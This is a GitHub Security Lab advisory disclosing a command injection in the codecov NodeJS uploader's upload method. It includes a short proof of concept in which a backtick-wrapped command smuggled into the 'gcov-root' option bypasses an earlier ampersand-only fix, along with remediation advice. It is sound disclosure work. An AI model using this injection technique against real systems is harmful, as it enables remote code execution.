skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
August 31, 2020

GHSL-2020-109: Command injection in codecov

GitHub Security Lab

Summary

The upload method has a command injection vulnerability. Clients of the codecov-node library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

Codecov NodeJS Uploader

Tested Version

Commit eeff4e1.

Details

Issue 1: Command injection in upload

The following proof-of-concept illustrates the vulnerability. First install codecov:

npm install codecov

Now create a file with the following contents:

var root = require("codecov");
var args = {
  "options": {
    'gcov-root': "` touch exploit `",
    'gcov-exec': ' ',
    'gcov-args': ' '
  }
}
root.handleInput.upload(args, function(){}, function(){});

and run it:

node test.js

Notice that a file named exploit has been created.

Note: we are aware of CVE-2020-7597, but the fix was incomplete. It only blocked &, but our PoC uses backticks instead to bypass the sanitizer.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Coordinated Disclosure Timeline

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-109 in any communication regarding this issue.